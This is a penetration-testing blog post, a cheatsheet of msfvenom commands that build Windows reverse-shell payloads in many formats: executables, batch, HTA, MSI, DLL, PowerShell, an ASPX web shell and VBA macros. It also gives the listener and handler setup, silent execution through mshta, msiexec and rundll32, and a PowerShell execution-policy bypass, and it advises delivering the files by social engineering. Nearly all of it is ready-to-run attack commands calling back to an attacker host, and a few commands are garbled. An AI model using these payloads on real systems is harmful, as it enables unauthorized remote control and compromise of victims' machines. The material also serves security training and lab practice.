# Msfvenom Cheatsheet: Windows Exploitation

## Msfvenom Cheatsheet: Windows Exploitation

[November 16, 2021](https://www.hackingarticles.in/msfvenom-cheatsheet-windows-exploitation/) By [Raj Chandel](https://www.hackingarticles.in/author/admin/)

In this post, you will learn how to use MsfVenom to generate all types of payloads for exploiting the windows platform. Read beginner guide from [**here**](https://www.hackingarticles.in/msfvenom-tutorials-beginners/)

#### Table of Content

* Requirements
* MsfVenom Syntax
* Payload and its types
* Executable Payload (exe)
* Powershell Batch File
* HTML Application Payload (HTA)
* Microsoft Installer Payload (MSI)
* Dynamic-link library Payload (DLL)
* Powershell Payload (psh-cmd)
* Powershell Payload (ps1)
* Web shell Payload (ASPX)
* Visual Basic Payload (.vba)

## Requirements:

* Kali Linux
* Windows Machine

## MsfVenom Syntax

MsfVenom is a Metasploit standalone payload generator which is also a replacement for msfpayload and msfencode.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEhJvIq72le_AiTPUpjtB6mUPcBnbiv8-SMaE63BoaaWTZmMX_blpzumSGV6lRWUr3Hpgv9leD-gyzGyzBasuzGoXSjuUqFejm3wSSJaRSIWSTFKCCRSQZy01ektNmBUTaDmGHRTixmdYLoDCi16eEyyOoNHuseOn9jlv_mvHcM1e1qTtTUYyA-cm85ctQ=s16000" alt=""><figcaption></figcaption></figure>

## Payload and its types

Payload, are malicious scripts that an attacker use to interact with a target machine in order to compromise it. Msfvenom supports the following platform and format to generate the payload. The output format could be in the form of executable files such as exe,php,dll or as a one-liner.

### Two major types of Payloads &#x20;

**Stager:** They are commonly identified by second (/) such as windows/meterpreter/reverse\_tcp

**Stageless**: The use of \_ instead of the second / in the payload name such as windows/meterpreter\_reverse\_tcp

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjmnaYNQLbDkPlCZya1aHHxz5m6A2G_RGdwyorsoJXoHxj5UbrO4Her3hkg7oB4HA8o-Zm0x5LZk38A-M3nfZCNCJQgDeWbxkkmQgS5eAWt7GNA6NEsptiDRpxi1cmM6RE_raaZvCtRp8evcXuzrYCgstL9hF51fbzpeLue4D5OVVdLmo3LJ3z_l16ymg=s16000" alt=""><figcaption></figcaption></figure>

As we have mentioned above, this post may help you to learn all possible methods to generate various payload formats for exploiting the Windows Platform.

## Executable Payload (exe)

### **Payload Type: Stager**

Executing the following command to create a malicious exe file is a common filename extension denoting an executable file for Microsoft Windows.

msfvenom -p windows/shell\_reverse\_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe

Entire malicious code will be written inside the shell.exe file and will be executed as an exe program on the target machine.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgDV-g6H7XGbidT3Yn3_GOZ4aOJCYq6AiUV4dfXUgdZyvs-3EyQyWEZulhAPkuOnmtD1gNYKBmTGwwPMbCiuMnD0YErvXlJBeaRJ1zFD05jWKqyW-b2Qb_orCy0BUgZnFRwgOGT7ijgsuWs3keZc-CpEVpwwqInw8ok68TLO067C2hbnulYneWeLfu0EA=s16000" alt=""><figcaption></figcaption></figure>

Share this file using social engineering tactics and wait for target execution. Meanwhile, launch netcat as a listener for capturing reverse connection.

nc –lvp 443

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgJ-HVDvXTOn662YqOACCiW9VAcFFsubHakJEbEF1RxAtVJqPwJHF3R7ToUEkpTYjOktdqieQvpEMn3mHDugeU_xxSGl975oYP4C2G_LbqTgzXP61_5N7W27OB18u_iF9uh4X3zUZBtb00f6AYbG5U-HtBhKU2Qn53ph3zERq0uSegpd_T7bUUwRGCFjw=s16000" alt=""><figcaption></figcaption></figure>

## Powershell Batch File

### **Payload Type: Stager**

Execute the following command to create a malicious batch file, the filename extension .bat is used in DOS and Windows.

msfvenom -p cmd/windows/reverse\_powershell lhost=192.168.1.3 lport=443 > shell.bat

Entire malicious code will be written inside the shell.bat file and will be executed as .bat script on the target machine.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjU0wh5mQxEnUziCOiqK92HO0BauAl2fBW1NH4rv_ehje2MvXV0vaH179slL-TXqW_xDGwj9ADPwXYkvDo2jS-a1m15SFsgVGf9YCRHZY6j6YvKwVBXXPHacEOmpm3vmY5QU_WyFOMMGDsXahHySsirRyxPVdVFEsQ0SQFgNJ_hr2nVRu3jmL4jr3-ZNA=s16000" alt=""><figcaption></figcaption></figure>

Share this file using social engineering tactics and wait for target execution. Meanwhile, launch netcat as the listener for capturing reverse connection.

nc –lvp 443

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEi0-T5c_gfn0MPTHF_cHLKcA-EAL3-hd50b1up-tZ3nzzQCBGvW-gi01j1KiSJ0NLq4aufpXYrTeVC-Ggh3BrgK1-Z_XJ_sOjdmaqMLWMd3_Bzd-4L12U59Z3HE5CRMYfMF1J7bqoNhy-b4pxdIVpVdP_XTdBeehDgM5eBmLsxDYCLCZBAXnZQIKnsz8A=s16000" alt=""><figcaption></figcaption></figure>

## HTML Application Payload (HTA)

### **Payload Type: Stager**

An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript

Execute the following command to create a malicious HTA file, the filename extension .hta is used in DOS and Windows.

msfvenom -p windows/shell\_reverse\_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta

Entire malicious code will be written inside the shell.hta file and will be executed as .hta script on the target machine. Use Python HTTP Server for file sharing.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEim5dBkx0dJQ_0PqQwaEOWQubER7eiIiB9pSf5l8EjnkA2Gb7HF8pXC_-B2id2mE7Hqf0XgFK1Ocxa8wP8VVj8ZwIH4IX0DMjbnGxw1LKJCn2AhWsnUZjaz3_sjKoxC-leTR5MX-ISblUJ28_KKEMNobUhplaNUglQda4cVR1HYn9JoqBoe3gVoK3ZRbA=s16000" alt=""><figcaption></figcaption></figure>

mshta <http://192.168.1.3/shell.hta>

An HTA is executed using the program mshta.exe or double-clicking on the file

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEieHIo43bExtnJ1cX9sZzV916u8LJiJhP8uFE1zkJCrZDHGs-p8oWHzEMCrNsFJCT2IsOFUpcsahbMBHFkAXnkMz2WRC5W1JqbJNG8s7zb40f6aDYAaW7KdED8NwOf6sWU8zyxk7OGEqx6LBM0MGQPIhsjEg7e-9mrtIzy7i_7DuhfWNi9ulrwX1J0uAg=s16000" alt=""><figcaption></figcaption></figure>

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

nc –lvp 443

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEi-DHz-AeeLrM3L1flZwQWK3zQpCthcaCmn8RmrU5mkt6eEzStIVF4mk2hS4IivJu92YFrkoXo7zCm7AqiQkvHpsZgslQ8ynp_frs6hL9fGpoM2YqKarsL6B2gxrF2mqVfWeMH8Z3ZbgbWQQ_lq5olp3LEiU37VwUvE0pdnLOz8N5AH1Opxp5Wh6byy-w=s16000" alt=""><figcaption></figcaption></figure>

## Microsoft Installer Payload (MSI)

Windows Installer is also known as Microsoft Installer. An MSI file is a Windows package that provides installation information for a certain installer, such as the programs that need to be installed. It can be used to install Windows updates or third-party software same like exe.

Execute the following command to create a malicious MSI file, the filename extension .msi is used in DOS and Windows. Transfer the malicious on the target system and execute it.

msfvenom -p windows/shell\_reverse\_tcp lhost=192.168.1.3 lport=443 -f msi > shell.msi

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjlilQlJkwgQwYvC4n7yRvv4jIjeqwY7SYT1TI0DhulyppWKCgQE2lCDTeZtpnThBikhU_9e26M4eDHNuAmKzVsnWJP7-A0YMq7oXbOabm-s3bMvtTj6dD7NV7EdqTnx28oBofY1Gv4djKcVJ-GHK0qe8XcGVbFUxAObg98egVOAeZfQZ3NJN4vVAgXVw=s16000" alt=""><figcaption></figcaption></figure>

Use the command msiexec to run the MSI file.

msiexec /quiet /qn /i shell.msi

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgCl0BN6N0ladY22wm8T4CtHKg_4ZohV4uM_I3orpjzPe04GPykzknOQoWEu1T2fFREhRjwh1Vj5b02DnbUYRpE-xE6SJH6BDf_Nbr9OExvoiKgtZBujQA0ZATsTTK1WTp7d1bHM-zCIS42CI7RxxhvwZtEJw9ZxlMLyD9dY3vfkSbZGtGIl3aD7AVtIg=s16000" alt=""><figcaption></figcaption></figure>

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiDYLCJCeAD6o8st1V0kfznCuZZHasqRT98Ej8Ibss4AqtQrvWSPgQxNYWtTADqIChdqB6xjF5f7-zhWzTrLJ4j9dqEFYC-C3fMTZmD9Clh4vUsXnYjDcfPXtowA43JIsPHqWBzYsoHDVWvBN1otIkrdqDT0E0BKJgWxOuOxmih2Dw0Xmyfh_8nz2sRGQ=s16000" alt=""><figcaption></figcaption></figure>

## Dynamic-link library Payload (DLL)

### **Payload Type: Stager**

A DLL is a library that contains code and data that can be used by more than one program.

Execute the following command to create a malicious dll file, the filename extension .dll is used in DOS and Windows. Transfer the malicious on the target system and execute it.

msfvenom -p windows/shell\_reverse\_tcp lhost=192.168.1.3 lport=443 -f dll > shell.dll

![](https://blogger.googleusercontent.com/img/a/AVvXsEhUwPCApaPmi6dCQ_Wg2lz_hgm3iP14bIOHKLt1MHJHFYASIqRcDtDf9bw_NfM6VFW5ylBnvNV6SH5BBvCHD-kkURkX3_XPmBceFDMIEJiNCoy6_XaMVpdllxEPmR5os1C6HMyunXxhmsp9iTk-nQXYSYOJ1nypWnJoY_ehZGq8V3O3V2LWWFlrMVhK2A=s16000)

Use the command rundll32 to run the MSI file.

rundll32.exe shell.dll,0

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEi8Pomrf2staRn04DJuJeNCXSNdBOLe3fWB79Ee4R3W4bwfq2Fwb8cPsf6drTfQuNL8hxd8d2Romqxwkcxo-7b_lQ37fdVliUjn5oUY7xRfYfLshWuH67yLfQ7dKRdMSdsNFkhj6K74wFrNKK1dNHULKZsv3vU2A4UYtD7qaWdUM8gyIiOrbLbFz3WpcQ=s16000" alt=""><figcaption></figcaption></figure>

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEiv8gNVuiaP2iGmSip7XRDDIvLNSAeWWs3GGxvGu9vQKbBtOKmXD6Rdq3WLix3BxUIbgYlA8V4XE5u3mHU6Kw3JlBDAhlecdoirS7D64zDnd7l4DO8gH8yLtlVXQrF5AycCc27IkjBRXYSxu4ENjkf66Uj-SLAw2g-Yo9l-8XApIhbj0uVLcj5ZyN8w2g=s16000" alt=""><figcaption></figcaption></figure>

## Powershell Payload (psh-cmd)

### **Payload Type: Stager**

### **Format – psh, psh-net, psh-reflection, or psh-cmd**

The generated payload for psh, psh-net, and psh-reflection formats have a .ps1 extension, and the generated payload for the psh-cmd format has a .cmd extension Else you can directly execute the raw code inside the Command Prompt of the target system.

msfvenom -p cmd/windows/reverse\_powershell lhost=192.168.1.3 lport=443 -f psh-cmd > -f raw

Execute the following command to generate raw code for the malicious PowerShell program.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjO9YWtPnA8M6gsDpBV4wYo4yJig8dXhJwYshYpy0rHtV6JUT9NA94i8EPoAAE3Pzm_ZO74OOjNMNDj4eeCWQd4rZHPYs2LlXGYWrRHvQbgYOQ_KS0Qxua-jh-nknDxG8o6C_0Z_HwVxONeA_IXByyLx3jQnwl0tJXpDlXVDOfdb5CAiYVRPt9pCXjzLw=s16000" alt=""><figcaption></figcaption></figure>

For execution, copy the generated code and paste it into the Windows command prompt

This will bring reverse connection through netcat listener which was running in the background for capturing reverse connection.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjjl9nlZyZyWXWAd3H-1WNOmqyn_SXa78YivdAIT25mdvPLV7-ubeGvlfMSKmqtCsyd8WEv3lNha6bzpwYv2WdcrYt1RtnCEo-hfSS4Zf46qC_Ryrc992_9AA6q82h3pM6ikiNhPFI7_Mecp1Qp2gv_e_Hl_xZqiFQK1RdQ1bji1SpTOnruvlcrXH7e0g=s16000" alt=""><figcaption></figcaption></figure>

## Powershell Payload (ps1)

### **Payload Type: Stager**

A PS1 file is a script, or “cmdlet,” used by Windows PowerShell. PS1 files are similar to .BAT and.CMD files, except that they are executed in Windows PowerShell instead of the Windows Command Prompt

Execute the following command to create a malicious PS1 script, the filename extension.PS1 is used in Windows PowerShell

msfvenom -p windows/x64/meterpreter\_reverse\_https lhost=192.168.1.3 lport=443 -f psh > shell.ps1

Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside Metasploit framework.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEhZBiXfZf0CEP23fGqnffYFdAInfkOG0MNqkXfMWlsoTs79QVj8wCi4ZzMGhAqi2V0gBcfITMhlM0J9ZF2aPCqHzoP0Z4TlQxVx1r4EmuOlqN7kg-GzfcmFruLGDjVBdFzE4zfCr_WzCoTi6zVgf_n20Lj07N1-SJQ-Ad1_ZTCKGyusP7FVbhPrM_t0BQ=s16000" alt=""><figcaption></figcaption></figure>

PowerShell’s execution policy is a safety feature that controls the conditions under which PowerShell loads configuration files and runs scripts. This feature helps prevent the execution of malicious scripts. Prevents running of all script files, including formatting and configuration files (.ps1xml), module script files (.psm1), and PowerShell profiles (.ps1).

Read more from [**here**](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.2)

In order to execute the PS1 script, you need to bypass the execution policy by running the following command in the Windows PowerShell and executing the script.

PowerShell –ep bypass.\shell.ps1

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgPiTaMXEY4SIvEV5b1RAObTW9zyOfKPwKPLiDlvZVPnyVCz7XFZaMxT6ibId5TwwjVqAePnNlq6ikiND5VJLBINnT1eHROQmRMuV1dGXXJg_0vRCcrUik-vgeQ0tsf7iGx_cTWTIKCHuhq6_0DSrGVJ9BDJL3wFPEkAsfy0FPaxmi-qlzwOTV58WXHtA=s16000" alt=""><figcaption></figcaption></figure>

msfconsoleuse exploit/multi/handlerset lhost 192.168.1.3set lport 443set payload windows/x64/meterpreter\_reverse\_https

As soon as the target will execute the shell.ps1 script, an attacker will get a reverse connection through meterepreter session.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgJrYxAWxXmpwX5obn65XrHzYPo8HAYSLG68ABOX-N8RuYUUXNaqO4SVVpBEdbGjZnipGKQdy67lIbQwV82KzvWSFWAyVnVi7mxfhWdizdKvmz018x4ddLjkz6NW1syBm65_rvEJCxmM9Tnt0kys5eHwyPsLtaxLjH5Y6OoQYrwyqUIUPnjcR9VweChEg=s16000" alt=""><figcaption></figcaption></figure>

## Web shell Payload (ASPX)

### **Payload Type: Stageless**

An ASPX file is an Active Server Page Extended file for Microsoft’s ASP.NET platform. When the URL is viewed, these pages are shown in the user’s web browser, .NET web forms are another name for them.

Execute the following command to create a malicious aspx script, the filename extension .aspx.

msfvenom -p windows/x64/meterpreter/reverse\_https lhost=192.168.1.3 lport=443 -f aspx > shell.aspx

Since the reverse shell type is meterpreter thus we need to launch exploit/multi/handler inside metasploit framework.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjpKpJfXvZNfsq1StNd3uvMpNrGwJ_tpYvzgSa-6pQ-XoQP3F0-5X3uPinBSZ8TgaA1giqGJouFOtx4rgKKDwqGswTHzajRzUq7ixVEIvTUvKPqY00gMAJ-3ZXTK8XTVkaTKUUm3lWahWx_vYJTvSmCCMAkRffdDw9qFs2JdFuY4wxDJwv8IL4By4KCOA=s16000" alt=""><figcaption></figcaption></figure>

You can inject this payload for exploiting [**Unrestricted File Upload**](https://www.hackingarticles.in/comprehensive-guide-on-unrestricted-file-upload/) vulnerability if the target is IIS Web Server.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEgQpfuOFGLxnyXsQJcpD64HZo7iLLJHS67hKisCnwtotNurRZRDrRoSBOmNNYu3bSA_YRQuEpOcQngxRCRpmaahqU5gueKxLvPqtyCR61Bzt8gFbQBAWuG56NC2aHZK5o30Xt7osYF4y8wksW6iHFyeFAl7p3jv3YXdUzE8sG_LbwYJoacpQHXAW3jEmw=s16000" alt=""><figcaption></figcaption></figure>

Execute the upload script in the web browser.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEi8hMCsZ_Ty4f4uDpjD1GlkCXVBry-5FR-BMsN5AqcViu7B5EkBB0khFZnNRfX2wjMpp8Zfbz2_R-EfQt33R_QeA-1X2BGNIdGfAkrXrEAiArHJ_JAcVLaBfImzI9M96qjkCR5Ff8OIv1mg7wnW22hL3IdUpsD86YDZlW1ZNC8hg8KFyS3jbzEqKeUMkw=s16000" alt=""><figcaption></figcaption></figure>

msfconsoleuse exploit/multi/handlerset lhost 192.168.1.3set lport 443set payload windows/x64/meterpreter\_reverse\_https

As soon as the attacker execute the malicious script, he will get a reverse connection through meterepreter session.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEg9-ApQVN2z5nIOpQd1crRxxeesSVDqn9avQkk-6W_TMSDVKblSXlpjBr738eUqmx0pFrt0Kr9lRNw_mAq0vJZ1sdaJdkSgAZl__xMw3BqXt9AUohvuYIkC9DxNIvsOuUoKNjbU0HtBo9MqV4V8WrumGPJGP3DfUmqIkdPYVr2-hPEmgCkrteH_loRkdQ=s16000" alt=""><figcaption></figcaption></figure>

## Visual Basic Payload (.vba)

### **Payload Type: Stageless**

VBA is a file extension commonly associated with Visual Basic which supports Microsoft applications such as Microsoft Excel, Office, PowerPoint, Word, and Publisher. It is used to create “macros.” that runs within Excel. An attacker takes the privilege of these features and creates a malicious VB script to be executed as a macros program with Microsoft excel.

Execute the following command to create a malicious aspx script, the filename extension .aspx that will be executed as macros within Microsoft excel.

### **Read more from here:** [**Multiple Ways to Exploit Windows Systems using Macros**](https://www.hackingarticles.in/multiple-ways-to-exploit-windows-systems-using-macros/)

msfvenom -p windows/x64/meterpreter/reverse\_https lhost=192.168.1.3 lport=443 -f vba

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjwHDfTWob3PmNBt5XZqwHh7ybe0h9nLF-BSVmNsiWTGd8K-x8C4b5_j_EOjBOPGMYRsp2-l37VG8PUelnd730o58qKnBV0UffxrVRihmgHG5Xi76cF51IeNVNbskkK2uSl1XBW-wGXeJ9EtMlpEcFXuduq8IAkQ7aELofh3illuupBe6WBfywDF6d_PA=s16000" alt=""><figcaption></figcaption></figure>

Now we open our Workbook that has the malicious macros injected in it. A comprehensive method of macros execution is explained in our [previous](https://www.hackingarticles.in/multiple-ways-to-exploit-windows-systems-using-macros/) post.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEjXyp2BS3jkZybgwPYPY56tHyrQ_fgmXDF7C2fB5tdqDqpoKikYMza0aUul5uP-Ku0rOCZBbjCxiSn84tejfxIHO13Af397m8zmaKweIf0jyk3bWGNPQ3PAaEHfprZKFnJ3VmaoMji2cPUfycsAucBJFmgnNLi7kU7m8NbSESM8aXKufd8vVyc4cVz2vA=s16000" alt=""><figcaption></figcaption></figure>

use exploit/multi/handlerset payload windows/meterpreter/reverse\_httpsset lhost 192.168.1.106set lport 1234exploit

As soon as the attacker execute the malicious script, he will get a reverse connection through meterepreter session.

<figure><img src="https://blogger.googleusercontent.com/img/a/AVvXsEg9LA6diAkWS9ndBd499HosRyjJsQaOkgPg75x2dXAIcXdaxTV03DzJcuQFUguYakq9i_zPPI8-kmEuEVOeu_JK3AereBFRJ9kg43iVYbN6qkTvp-d_rNhYqCT84z1lshh2SX3Jgo1ELwPAwGijll0agJSToYjXUdQnlPFKXihGX6si_MYAnWcNgQCKDQ=s16000" alt=""><figcaption></figcaption></figure>
